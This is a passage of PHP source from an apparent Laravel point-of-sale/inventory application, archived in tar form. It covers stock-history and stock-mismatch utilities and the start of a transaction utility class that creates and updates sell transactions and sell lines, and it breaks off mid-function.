'transactions.transaction_date', 'transactions.status', 'transactions.invoice_no', 'transactions.ref_no', 'transactions.additional_notes', 'c.name as contact_name', 'c.supplier_business_name', 'pl.secondary_unit_quantity as purchase_secondary_unit_quantity', 'sl.secondary_unit_quantity as sell_secondary_unit_quantity' ) ->orderBy('transactions.transaction_date', 'asc') ->get(); $stock_history_array = []; $stock = 0; $stock_in_second_unit = 0; foreach ($stock_history as $stock_line) { $temp_array = [ 'date' => $stock_line->transaction_date, 'transaction_id' => $stock_line->transaction_id, 'contact_name' => $stock_line->contact_name, 'supplier_business_name' => $stock_line->supplier_business_name, ]; if ($stock_line->transaction_type == 'sell') { if ($stock_line->status != 'final') { continue; } $quantity_change = -1 * $stock_line->sell_line_quantity; $stock += $quantity_change; $stock_in_second_unit -= $stock_line->sell_secondary_unit_quantity; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'sell', 'type_label' => __('sale.sale'), 'ref_no' => $stock_line->invoice_no, 'sell_secondary_unit_quantity' => ! empty($stock_line->sell_secondary_unit_quantity) ? $this->roundQuantity($stock_line->sell_secondary_unit_quantity) : 0, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'purchase') { if ($stock_line->status != 'received') { continue; } $quantity_change = $stock_line->purchase_line_quantity; $stock += $quantity_change; $stock_in_second_unit += $stock_line->purchase_secondary_unit_quantity; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'purchase', 'type_label' => __('lang_v1.purchase'), 'ref_no' => $stock_line->ref_no, 'purchase_secondary_unit_quantity' => ! empty($stock_line->purchase_secondary_unit_quantity) ? $this->roundQuantity($stock_line->purchase_secondary_unit_quantity) : 0, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'stock_adjustment') { $quantity_change = -1 * $stock_line->stock_adjusted; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'stock_adjustment', 'type_label' => __('stock_adjustment.stock_adjustment'), 'ref_no' => $stock_line->ref_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'opening_stock') { $quantity_change = $stock_line->purchase_line_quantity; $stock += $quantity_change; $stock_in_second_unit += $stock_line->purchase_secondary_unit_quantity; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'opening_stock', 'type_label' => __('report.opening_stock'), 'ref_no' => $stock_line->ref_no ?? '', 'additional_notes' => $stock_line->additional_notes, 'purchase_secondary_unit_quantity' => ! empty($stock_line->purchase_secondary_unit_quantity) ? $this->roundQuantity($stock_line->purchase_secondary_unit_quantity) : 0, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'sell_transfer') { if ($stock_line->status != 'final') { continue; } $quantity_change = -1 * $stock_line->sell_line_quantity; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'sell_transfer', 'type_label' => __('lang_v1.stock_transfers').' ('.__('lang_v1.out').')', 'ref_no' => $stock_line->ref_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'purchase_transfer') { if ($stock_line->status != 'received') { continue; } $quantity_change = $stock_line->purchase_line_quantity; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'purchase_transfer', 'type_label' => __('lang_v1.stock_transfers').' ('.__('lang_v1.in').')', 'ref_no' => $stock_line->ref_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'production_sell') { if ($stock_line->status != 'final') { continue; } $quantity_change = -1 * $stock_line->sell_line_quantity; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'sell', 'type_label' => __('manufacturing::lang.ingredient'), 'ref_no' => '', 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'production_purchase') { $quantity_change = $stock_line->purchase_line_quantity; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'production_purchase', 'type_label' => __('manufacturing::lang.manufactured'), 'ref_no' => $stock_line->ref_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'purchase_return') { $quantity_change = -1 * ($stock_line->combined_purchase_return + $stock_line->purchase_return); $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'purchase_return', 'type_label' => __('lang_v1.purchase_return'), 'ref_no' => $stock_line->ref_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } elseif ($stock_line->transaction_type == 'sell_return') { $quantity_change = $stock_line->sell_return; $stock += $quantity_change; $stock_history_array[] = array_merge($temp_array, [ 'quantity_change' => $quantity_change, 'stock' => $this->roundQuantity($stock), 'type' => 'purchase_transfer', 'type_label' => __('lang_v1.sell_return'), 'ref_no' => $stock_line->invoice_no, 'stock_in_second_unit' => $this->roundQuantity($stock_in_second_unit), ]); } } return array_reverse($stock_history_array); } /** * Function to calculate stock mismatches for all the variations or * the given variation in a location */ public function getVariationStockMisMatch($business_id, $variation_id, $location_id) { $query = Variation::leftjoin('products as p', 'p.id', '=', 'variations.product_id') ->leftjoin('units', 'p.unit_id', '=', 'units.id') ->leftjoin('variation_location_details as vld', 'variations.id', '=', 'vld.variation_id') ->leftjoin('product_variations as pv', 'variations.product_variation_id', '=', 'pv.id') ->where('p.business_id', $business_id) ->where('vld.location_id', $location_id); if (! is_null($variation_id)) { $query->where('variations.id', $variation_id); } $stock_details = $query->select( DB::raw("(SELECT SUM(COALESCE(TSL.quantity, 0)) FROM transactions LEFT JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='sell' AND transactions.location_id=$location_id AND TSL.variation_id=variations.id) as total_sold"), DB::raw("(SELECT SUM(COALESCE(TSL.quantity_returned, 0)) FROM transactions LEFT JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='sell' AND transactions.location_id=$location_id AND TSL.variation_id=variations.id) as total_sell_return"), DB::raw("(SELECT SUM(COALESCE(TSL.quantity,0)) FROM transactions LEFT JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='sell_transfer' AND transactions.location_id=$location_id AND TSL.variation_id=variations.id) as total_sell_transfered"), DB::raw("(SELECT SUM(COALESCE(PL.quantity,0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.status='received' AND transactions.type='purchase_transfer' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_purchase_transfered"), DB::raw("(SELECT SUM(COALESCE(SAL.quantity, 0)) FROM transactions LEFT JOIN stock_adjustment_lines AS SAL ON transactions.id=SAL.transaction_id WHERE transactions.type='stock_adjustment' AND transactions.location_id=$location_id AND SAL.variation_id=variations.id) as total_adjusted"), DB::raw("(SELECT SUM(COALESCE(PL.quantity, 0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.status='received' AND transactions.type='purchase' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_purchased"), DB::raw("(SELECT SUM(COALESCE(PL.quantity_returned, 0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.status='received' AND transactions.type='purchase' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_purchase_return"), DB::raw("(SELECT SUM(COALESCE(PL.quantity_returned, 0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.type='purchase_return' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_combined_purchase_return"), DB::raw("(SELECT SUM(COALESCE(PL.quantity, 0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.type='opening_stock' AND transactions.status='received' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_opening_stock"), DB::raw("(SELECT SUM(COALESCE(PL.quantity, 0)) FROM transactions LEFT JOIN purchase_lines AS PL ON transactions.id=PL.transaction_id WHERE transactions.status='received' AND transactions.type='production_purchase' AND transactions.location_id=$location_id AND PL.variation_id=variations.id) as total_manufactured"), DB::raw("(SELECT SUM(COALESCE(TSL.quantity, 0)) FROM transactions LEFT JOIN transaction_sell_lines AS TSL ON transactions.id=TSL.transaction_id WHERE transactions.status='final' AND transactions.type='production_sell' AND transactions.location_id=$location_id AND TSL.variation_id=variations.id) as total_ingredients_used"), DB::raw('SUM(vld.qty_available) as stock'), 'variations.sub_sku as sub_sku', 'p.name as product', 'p.id as product_id', 'p.type', 'p.sku as sku', 'units.short_name as unit', 'p.enable_stock as enable_stock', 'variations.sell_price_inc_tax as unit_price', 'pv.name as product_variation', 'variations.name as variation_name', 'variations.id as variation_id' ) ->groupBy('variations.id') ->get(); foreach ($stock_details as $index => $row) { $total_sold = $row->total_sold ?: 0; $total_sell_return = $row->total_sell_return ?: 0; $total_sell_transfered = $row->total_sell_transfered ?: 0; $total_purchase_transfered = $row->total_purchase_transfered ?: 0; $total_adjusted = $row->total_adjusted ?: 0; $total_purchased = $row->total_purchased ?: 0; $total_purchase_return = $row->total_purchase_return ?: 0; $total_combined_purchase_return = $row->total_combined_purchase_return ?: 0; $total_opening_stock = $row->total_opening_stock ?: 0; $total_manufactured = $row->total_manufactured ?: 0; $total_ingredients_used = $row->total_ingredients_used ?: 0; $total_stock_calculated = $total_opening_stock + $total_purchased + $total_purchase_transfered + $total_sell_return + $total_manufactured - ($total_sold + $total_sell_transfered + $total_adjusted + $total_purchase_return + $total_combined_purchase_return + $total_ingredients_used); $stock_details[$index]->total_stock_calculated = $total_stock_calculated; } return $stock_details; } public function fixVariationStockMisMatch($business_id, $variation_id, $location_id, $stock) { $vld = VariationLocationDetails::join( 'business_locations as bl', 'bl.id', '=', 'variation_location_details.location_id' ) ->where('variation_location_details.location_id', $location_id) ->where('variation_id', $variation_id) ->where('bl.business_id', $business_id) ->select('variation_location_details.*') ->first(); if (! empty($vld)) { $vld->qty_available = $stock; $vld->save(); } //check if there are more such rows then delete it because one location can have only one variation_location_details $vld_duplicate = VariationLocationDetails::join( 'business_locations as bl', 'bl.id', '=', 'variation_location_details.location_id' ) ->where('variation_location_details.location_id', $location_id) ->where('variation_id', $variation_id) ->where('bl.business_id', $business_id) ->where('variation_location_details.id', '!=', $vld->id) ->delete(); } /** * Return the products less than alert quntity. * * @return array */ public function getProductAlert($business_id, $permitted_locations = null) { $query = VariationLocationDetails::join( 'product_variations as pv', 'variation_location_details.product_variation_id', '=', 'pv.id' ) ->join( 'variations as v', 'variation_location_details.variation_id', '=', 'v.id' ) ->join( 'products as p', 'variation_location_details.product_id', '=', 'p.id' ) ->leftjoin( 'business_locations as l', 'variation_location_details.location_id', '=', 'l.id' ) ->leftjoin('units as u', 'p.unit_id', '=', 'u.id') ->where('p.business_id', $business_id) ->where('p.enable_stock', 1) ->where('p.is_inactive', 0) ->whereNull('v.deleted_at') ->whereNotNull('p.alert_quantity') ->whereRaw('variation_location_details.qty_available <= p.alert_quantity'); //Check for permitted locations of a user if(!empty($permitted_locations)){ if ($permitted_locations != 'all') { $query->whereIn('variation_location_details.location_id', $permitted_locations); } } if (! empty(request()->input('location_id'))) { $query->where('variation_location_details.location_id', request()->input('location_id')); } $products = $query->select( 'p.name as product', 'p.type', 'p.sku', 'pv.name as product_variation', 'v.name as variation', 'v.sub_sku', 'l.name as location', 'variation_location_details.qty_available as stock', 'u.short_name as unit' ) ->groupBy('variation_location_details.id') ->orderBy('stock', 'asc'); return $products; } } Utils/TransactionUtil.php 0000644 00001110131 15001146510 0011467 0 ustar 00 <?php namespace App\Utils; use App\AccountTransaction; use App\Business; use App\BusinessLocation; use App\CashDenomination; use App\Contact; use App\Currency; use App\Events\TransactionPaymentAdded; use App\Events\TransactionPaymentDeleted; use App\Events\TransactionPaymentUpdated; use App\Exceptions\AdvanceBalanceNotAvailable; use App\Exceptions\PurchaseSellMismatch; use App\InvoiceScheme; use App\Product; use App\PurchaseLine; use App\Restaurant\ResTable; use App\TaxRate; use App\Transaction; use App\TransactionPayment; use App\TransactionSellLine; use App\TransactionSellLinesPurchaseLines; use App\Variation; use App\VariationLocationDetails; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; use App\CashRegister; class TransactionUtil extends Util { /** * Add Sell transaction * * @param int $business_id * @param array $input * @param float $invoice_total * @param int $user_id * @return object */ public function createSellTransaction($business_id, $input, $invoice_total, $user_id, $uf_data = true) { $sale_type = ! empty($input['type']) ? $input['type'] : 'sell'; $invoice_scheme_id = ! empty($input['invoice_scheme_id']) ? $input['invoice_scheme_id'] : null; $invoice_no = ! empty($input['invoice_no']) ? $input['invoice_no'] : $this->getInvoiceNumber($business_id, $input['status'], $input['location_id'], $invoice_scheme_id, $sale_type); $final_total = $uf_data ? $this->num_uf($input['final_total']) : $input['final_total']; $pay_term_number = isset($input['pay_term_number']) ? $input['pay_term_number'] : null; $pay_term_type = isset($input['pay_term_type']) ? $input['pay_term_type'] : null; //if pay term empty set contact pay term if (empty($pay_term_number) || empty($pay_term_type)) { $contact = Contact::find($input['contact_id']); $pay_term_number = $contact->pay_term_number; $pay_term_type = $contact->pay_term_type; } $transaction = Transaction::create([ 'business_id' => $business_id, 'location_id' => $input['location_id'], 'type' => $sale_type, 'status' => $input['status'], 'sub_status' => ! empty($input['sub_status']) ? $input['sub_status'] : null, 'contact_id' => $input['contact_id'], 'customer_group_id' => ! empty($input['customer_group_id']) ? $input['customer_group_id'] : null, 'invoice_no' => $invoice_no, 'ref_no' => '', 'source' => ! empty($input['source']) ? $input['source'] : null, 'total_before_tax' => $invoice_total['total_before_tax'], 'transaction_date' => $input['transaction_date'], 'tax_id' => ! empty($input['tax_rate_id']) ? $input['tax_rate_id'] : null, 'discount_type' => ! empty($input['discount_type']) ? $input['discount_type'] : null, 'discount_amount' => $uf_data ? $this->num_uf($input['discount_amount']) : $input['discount_amount'], 'tax_amount' => $invoice_total['tax'], 'final_total' => $final_total, 'additional_notes' => ! empty($input['sale_note']) ? $input['sale_note'] : null, 'staff_note' => ! empty($input['staff_note']) ? $input['staff_note'] : null, 'created_by' => $user_id, 'document' => ! empty($input['document']) ? $input['document'] : null, 'custom_field_1' => ! empty($input['custom_field_1']) ? $input['custom_field_1'] : null, 'custom_field_2' => ! empty($input['custom_field_2']) ? $input['custom_field_2'] : null, 'custom_field_3' => ! empty($input['custom_field_3']) ? $input['custom_field_3'] : null, 'custom_field_4' => ! empty($input['custom_field_4']) ? $input['custom_field_4'] : null, 'is_direct_sale' => ! empty($input['is_direct_sale']) ? $input['is_direct_sale'] : 0, 'commission_agent' => $input['commission_agent'] ?? null, 'is_quotation' => isset($input['is_quotation']) ? $input['is_quotation'] : 0, 'shipping_details' => isset($input['shipping_details']) ? $input['shipping_details'] : null, 'shipping_address' => isset($input['shipping_address']) ? $input['shipping_address'] : null, 'shipping_status' => isset($input['shipping_status']) ? $input['shipping_status'] : null, 'delivered_to' => isset($input['delivered_to']) ? $input['delivered_to'] : null, 'delivery_person' => isset($input['delivery_person']) ? $input['delivery_person'] : null, 'shipping_charges' => isset($input['shipping_charges']) ? $uf_data ? $this->num_uf($input['shipping_charges']) : $input['shipping_charges'] : 0, 'shipping_custom_field_1' => ! empty($input['shipping_custom_field_1']) ? $input['shipping_custom_field_1'] : null, 'shipping_custom_field_2' => ! empty($input['shipping_custom_field_2']) ? $input['shipping_custom_field_2'] : null, 'shipping_custom_field_3' => ! empty($input['shipping_custom_field_3']) ? $input['shipping_custom_field_3'] : null, 'shipping_custom_field_4' => ! empty($input['shipping_custom_field_4']) ? $input['shipping_custom_field_4'] : null, 'shipping_custom_field_5' => ! empty($input['shipping_custom_field_5']) ? $input['shipping_custom_field_5'] : null, 'exchange_rate' => ! empty($input['exchange_rate']) ? $uf_data ? $this->num_uf($input['exchange_rate']) : $input['exchange_rate'] : 1, 'selling_price_group_id' => isset($input['selling_price_group_id']) ? $input['selling_price_group_id'] : null, 'pay_term_number' => $pay_term_number, 'pay_term_type' => $pay_term_type, 'is_suspend' => ! empty($input['is_suspend']) ? 1 : 0, 'is_recurring' => ! empty($input['is_recurring']) ? $input['is_recurring'] : 0, 'recur_interval' => ! empty($input['recur_interval']) ? $input['recur_interval'] : 1, 'recur_interval_type' => ! empty($input['recur_interval_type']) ? $input['recur_interval_type'] : null, 'subscription_repeat_on' => ! empty($input['subscription_repeat_on']) ? $input['subscription_repeat_on'] : null, 'subscription_no' => ! empty($input['subscription_no']) ? $input['subscription_no'] : null, 'recur_repetitions' => ! empty($input['recur_repetitions']) ? $input['recur_repetitions'] : 0, 'order_addresses' => ! empty($input['order_addresses']) ? $input['order_addresses'] : null, 'sub_type' => ! empty($input['sub_type']) ? $input['sub_type'] : null, 'rp_earned' => $input['status'] == 'final' ? $this->calculateRewardPoints($business_id, $final_total) : 0, 'rp_redeemed' => ! empty($input['rp_redeemed']) ? $input['rp_redeemed'] : 0, 'rp_redeemed_amount' => ! empty($input['rp_redeemed_amount']) ? $input['rp_redeemed_amount'] : 0, 'is_created_from_api' => ! empty($input['is_created_from_api']) ? 1 : 0, 'types_of_service_id' => ! empty($input['types_of_service_id']) ? $input['types_of_service_id'] : null, 'packing_charge' => ! empty($input['packing_charge']) ? $input['packing_charge'] : 0, 'packing_charge_type' => ! empty($input['packing_charge_type']) ? $input['packing_charge_type'] : null, 'service_custom_field_1' => ! empty($input['service_custom_field_1']) ? $input['service_custom_field_1'] : null, 'service_custom_field_2' => ! empty($input['service_custom_field_2']) ? $input['service_custom_field_2'] : null, 'service_custom_field_3' => ! empty($input['service_custom_field_3']) ? $input['service_custom_field_3'] : null, 'service_custom_field_4' => ! empty($input['service_custom_field_4']) ? $input['service_custom_field_4'] : null, 'service_custom_field_5' => ! empty($input['service_custom_field_5']) ? $input['service_custom_field_5'] : null, 'service_custom_field_6' => ! empty($input['service_custom_field_6']) ? $input['service_custom_field_6'] : null, 'round_off_amount' => ! empty($input['round_off_amount']) ? $input['round_off_amount'] : 0, 'import_batch' => ! empty($input['import_batch']) ? $input['import_batch'] : null, 'import_time' => ! empty($input['import_time']) ? $input['import_time'] : null, 'res_table_id' => ! empty($input['res_table_id']) ? $input['res_table_id'] : null, 'res_waiter_id' => ! empty($input['res_waiter_id']) ? $input['res_waiter_id'] : null, 'sales_order_ids' => ! empty($input['sales_order_ids']) ? $input['sales_order_ids'] : null, 'prefer_payment_method' => ! empty($input['prefer_payment_method']) ? $input['prefer_payment_method'] : null, 'prefer_payment_account' => ! empty($input['prefer_payment_account']) ? $input['prefer_payment_account'] : null, 'is_export' => ! empty($input['is_export']) ? 1 : 0, 'export_custom_fields_info' => (! empty($input['is_export']) && ! empty($input['export_custom_fields_info'])) ? $input['export_custom_fields_info'] : null, 'additional_expense_value_1' => isset($input['additional_expense_value_1']) ? $uf_data ? $this->num_uf($input['additional_expense_value_1']) : $input['additional_expense_value_1'] : 0, 'additional_expense_value_2' => isset($input['additional_expense_value_2']) ? $uf_data ? $this->num_uf($input['additional_expense_value_2']) : $input['additional_expense_value_2'] : 0, 'additional_expense_value_3' => isset($input['additional_expense_value_3']) ? $uf_data ? $this->num_uf($input['additional_expense_value_3']) : $input['additional_expense_value_3'] : 0, 'additional_expense_value_4' => isset($input['additional_expense_value_4']) ? $uf_data ? $this->num_uf($input['additional_expense_value_4']) : $input['additional_expense_value_4'] : 0, 'additional_expense_key_1' => ! empty($input['additional_expense_key_1']) ? $input['additional_expense_key_1'] : null, 'additional_expense_key_2' => ! empty($input['additional_expense_key_2']) ? $input['additional_expense_key_2'] : null, 'additional_expense_key_3' => ! empty($input['additional_expense_key_3']) ? $input['additional_expense_key_3'] : null, 'additional_expense_key_4' => ! empty($input['additional_expense_key_4']) ? $input['additional_expense_key_4'] : null, 'is_kitchen_order' => ! empty($input['is_kitchen_order']) ? 1 : 0, ]); return $transaction; } /** * Add Sell transaction * * @param mixed $transaction_id * @param int $business_id * @param array $input * @param float $invoice_total * @param int $user_id * @return object */ public function updateSellTransaction($transaction_id, $business_id, $input, $invoice_total, $user_id, $uf_data = true, $change_invoice_number = true) { $transaction = $transaction_id; if (! is_object($transaction)) { $transaction = Transaction::where('id', $transaction_id) ->where('business_id', $business_id) ->firstOrFail(); } //Update invoice number if changed from draft to finalize or vice-versa $invoice_no = $transaction->invoice_no; if ($transaction->status != $input['status'] && $change_invoice_number) { $invoice_scheme_id = ! empty($input['invoice_scheme_id']) ? $input['invoice_scheme_id'] : null; $invoice_no = $this->getInvoiceNumber($business_id, $input['status'], $transaction->location_id, $invoice_scheme_id); } $final_total = $uf_data ? $this->num_uf($input['final_total']) : $input['final_total']; $pay_term_number = isset($input['pay_term_number']) ? $input['pay_term_number'] : null; $pay_term_type = isset($input['pay_term_type']) ? $input['pay_term_type'] : null; //if pay term empty set contact pay term if (empty($pay_term_number) || empty($pay_term_type)) { $contact = Contact::find($input['contact_id']); $pay_term_number = $contact->pay_term_number; $pay_term_type = $contact->pay_term_type; } $update_date = [ 'status' => $input['status'], 'invoice_no' => ! empty($input['invoice_no']) ? $input['invoice_no'] : $invoice_no, 'contact_id' => $input['contact_id'], 'customer_group_id' => $input['customer_group_id'], 'total_before_tax' => $invoice_total['total_before_tax'], 'tax_id' => $input['tax_rate_id'], 'discount_type' => $input['discount_type'], 'discount_amount' => $uf_data ? $this->num_uf($input['discount_amount']) : $input['discount_amount'], 'tax_amount' => $invoice_total['tax'], 'final_total' => $final_total, 'document' => isset($input['document']) ? $input['document'] : $transaction->document, 'source' => isset($input['source']) ? $input['source'] : $transaction->source, 'additional_notes' => ! empty($input['sale_note']) ? $input['sale_note'] : null, 'staff_note' => ! empty($input['staff_note']) ? $input['staff_note'] : null, 'custom_field_1' => ! empty($input['custom_field_1']) ? $input['custom_field_1'] : null, 'custom_field_2' => ! empty($input['custom_field_2']) ? $input['custom_field_2'] : null, 'custom_field_3' => ! empty($input['custom_field_3']) ? $input['custom_field_3'] : null, 'custom_field_4' => ! empty($input['custom_field_4']) ? $input['custom_field_4'] : null, 'commission_agent' => $input['commission_agent'], 'is_quotation' => isset($input['is_quotation']) ? $input['is_quotation'] : 0, 'sub_status' => ! empty($input['sub_status']) ? $input['sub_status'] : null, 'shipping_details' => isset($input['shipping_details']) ? $input['shipping_details'] : null, 'shipping_charges' => isset($input['shipping_charges']) ? $uf_data ? $this->num_uf($input['shipping_charges']) : $input['shipping_charges'] : 0, 'shipping_address' => isset($input['shipping_address']) ? $input['shipping_address'] : null, 'shipping_status' => isset($input['shipping_status']) ? $input['shipping_status'] : null, 'delivered_to' => isset($input['delivered_to']) ? $input['delivered_to'] : null, 'delivery_person' => isset($input['delivery_person']) ? $input['delivery_person'] : null, 'shipping_custom_field_1' => ! empty($input['shipping_custom_field_1']) ? $input['shipping_custom_field_1'] : null, 'shipping_custom_field_2' => ! empty($input['shipping_custom_field_2']) ? $input['shipping_custom_field_2'] : null, 'shipping_custom_field_3' => ! empty($input['shipping_custom_field_3']) ? $input['shipping_custom_field_3'] : null, 'shipping_custom_field_4' => ! empty($input['shipping_custom_field_4']) ? $input['shipping_custom_field_4'] : null, 'shipping_custom_field_5' => ! empty($input['shipping_custom_field_5']) ? $input['shipping_custom_field_5'] : null, 'exchange_rate' => ! empty($input['exchange_rate']) ? $uf_data ? $this->num_uf($input['exchange_rate']) : $input['exchange_rate'] : 1, 'selling_price_group_id' => isset($input['selling_price_group_id']) ? $input['selling_price_group_id'] : null, 'pay_term_number' => $pay_term_number, 'pay_term_type' => $pay_term_type, 'is_suspend' => ! empty($input['is_suspend']) ? 1 : 0, 'is_recurring' => ! empty($input['is_recurring']) ? $input['is_recurring'] : 0, 'recur_interval' => ! empty($input['recur_interval']) ? $input['recur_interval'] : 1, 'recur_interval_type' => ! empty($input['recur_interval_type']) ? $input['recur_interval_type'] : null, 'subscription_repeat_on' => ! empty($input['subscription_repeat_on']) ? $input['subscription_repeat_on'] : null, 'recur_repetitions' => ! empty($input['recur_repetitions']) ? $input['recur_repetitions'] : 0, 'order_addresses' => ! empty($input['order_addresses']) ? $input['order_addresses'] : null, 'rp_earned' => $input['status'] == 'final' ? $this->calculateRewardPoints($business_id, $final_total) : 0, 'rp_redeemed' => ! empty($input['rp_redeemed']) ? $input['rp_redeemed'] : 0, 'rp_redeemed_amount' => ! empty($input['rp_redeemed_amount']) ? $input['rp_redeemed_amount'] : 0, 'types_of_service_id' => ! empty($input['types_of_service_id']) ? $input['types_of_service_id'] : null, 'packing_charge' => ! empty($input['packing_charge']) ? $input['packing_charge'] : 0, 'packing_charge_type' => ! empty($input['packing_charge_type']) ? $input['packing_charge_type'] : null, 'service_custom_field_1' => ! empty($input['service_custom_field_1']) ? $input['service_custom_field_1'] : null, 'service_custom_field_2' => ! empty($input['service_custom_field_2']) ? $input['service_custom_field_2'] : null, 'service_custom_field_3' => ! empty($input['service_custom_field_3']) ? $input['service_custom_field_3'] : null, 'service_custom_field_4' => ! empty($input['service_custom_field_4']) ? $input['service_custom_field_4'] : null, 'service_custom_field_5' => ! empty($input['service_custom_field_5']) ? $input['service_custom_field_5'] : null, 'service_custom_field_6' => ! empty($input['service_custom_field_6']) ? $input['service_custom_field_6'] : null, 'round_off_amount' => ! empty($input['round_off_amount']) ? $input['round_off_amount'] : 0, 'res_table_id' => ! empty($input['res_table_id']) ? $input['res_table_id'] : null, 'res_waiter_id' => ! empty($input['res_waiter_id']) ? $input['res_waiter_id'] : null, 'sales_order_ids' => ! empty($input['sales_order_ids']) ? $input['sales_order_ids'] : null, 'prefer_payment_method' => ! empty($input['prefer_payment_method']) ? $input['prefer_payment_method'] : null, 'prefer_payment_account' => ! empty($input['prefer_payment_account']) ? $input['prefer_payment_account'] : null, 'is_export' => ! empty($input['is_export']) ? 1 : 0, 'export_custom_fields_info' => (! empty($input['is_export']) && ! empty($input['export_custom_fields_info'])) ? $input['export_custom_fields_info'] : null, 'additional_expense_value_1' => isset($input['additional_expense_value_1']) ? $uf_data ? $this->num_uf($input['additional_expense_value_1']) : $input['additional_expense_value_1'] : 0, 'additional_expense_value_2' => isset($input['additional_expense_value_2']) ? $uf_data ? $this->num_uf($input['additional_expense_value_2']) : $input['additional_expense_value_2'] : 0, 'additional_expense_value_3' => isset($input['additional_expense_value_3']) ? $uf_data ? $this->num_uf($input['additional_expense_value_3']) : $input['additional_expense_value_3'] : 0, 'additional_expense_value_4' => isset($input['additional_expense_value_4']) ? $uf_data ? $this->num_uf($input['additional_expense_value_4']) : $input['additional_expense_value_4'] : 0, 'additional_expense_key_1' => ! empty($input['additional_expense_key_1']) ? $input['additional_expense_key_1'] : null, 'additional_expense_key_2' => ! empty($input['additional_expense_key_2']) ? $input['additional_expense_key_2'] : null, 'additional_expense_key_3' => ! empty($input['additional_expense_key_3']) ? $input['additional_expense_key_3'] : null, 'additional_expense_key_4' => ! empty($input['additional_expense_key_4']) ? $input['additional_expense_key_4'] : null, 'is_kitchen_order' => ! empty($input['is_kitchen_order']) ? 1 : 0, ]; if (! empty($input['transaction_date'])) { $update_date['transaction_date'] = $input['transaction_date']; } $transaction->fill($update_date); $transaction->update(); return $transaction; } /** * Add/Edit transaction sell lines * * @param object/int $transaction * @param array $products * @param array $location_id * @param bool $return_deleted = false * @param array $extra_line_parameters = [] * Example: ['database_trasnaction_linekey' => 'products_line_key']; * @return boolean/object */ public function createOrUpdateSellLines($transaction, $products, $location_id, $return_deleted = false, $status_before = null, $extra_line_parameters = [], $uf_data = true) { $lines_formatted = []; $modifiers_array = []; $edit_ids = [0]; $modifiers_formatted = []; $combo_lines = []; $products_modified_combo = []; foreach ($products as $product) { $multiplier = 1; if (isset($product['sub_unit_id']) && $product['sub_unit_id'] == $product['product_unit_id']) { unset($product['sub_unit_id']); } if (! empty($product['sub_unit_id']) && ! empty($product['base_unit_multiplier'])) { $multiplier = $product['base_unit_multiplier']; } //Check if transaction_sell_lines_id is set, used when editing. if (! empty($product['transaction_sell_lines_id'])) { $edit_id_temp = $this->editSellLine($product, $location_id, $status_before, $multiplier, $uf_data); $edit_ids = array_merge($edit_ids, $edit_id_temp); //update or create modifiers for existing sell lines if ($this->isModuleEnabled('modifiers')) { if (! empty($product['modifier'])) { foreach ($product['modifier'] as $key => $value) { if (! empty($product['modifier_sell_line_id'][$key])) { $edit_modifier = TransactionSellLine::find($product['modifier_sell_line_id'][$key]); $edit_modifier->quantity = isset($product['modifier_quantity'][$key]) ? $product['modifier_quantity'][$key] : 1; $modifiers_formatted[] = $edit_modifier; //Dont delete modifier sell line if exists $edit_ids[] = $product['modifier_sell_line_id'][$key]; } else { if (! empty($product['modifier_price'][$key])) { $this_price = $uf_data ? $this->num_uf($product['modifier_price'][$key]) : $product['modifier_price'][$key]; $modifier_quantity = isset($product['modifier_quantity'][$key]) ? $product['modifier_quantity'][$key] : 1; $modifiers_formatted[] = new TransactionSellLine([ 'product_id' => 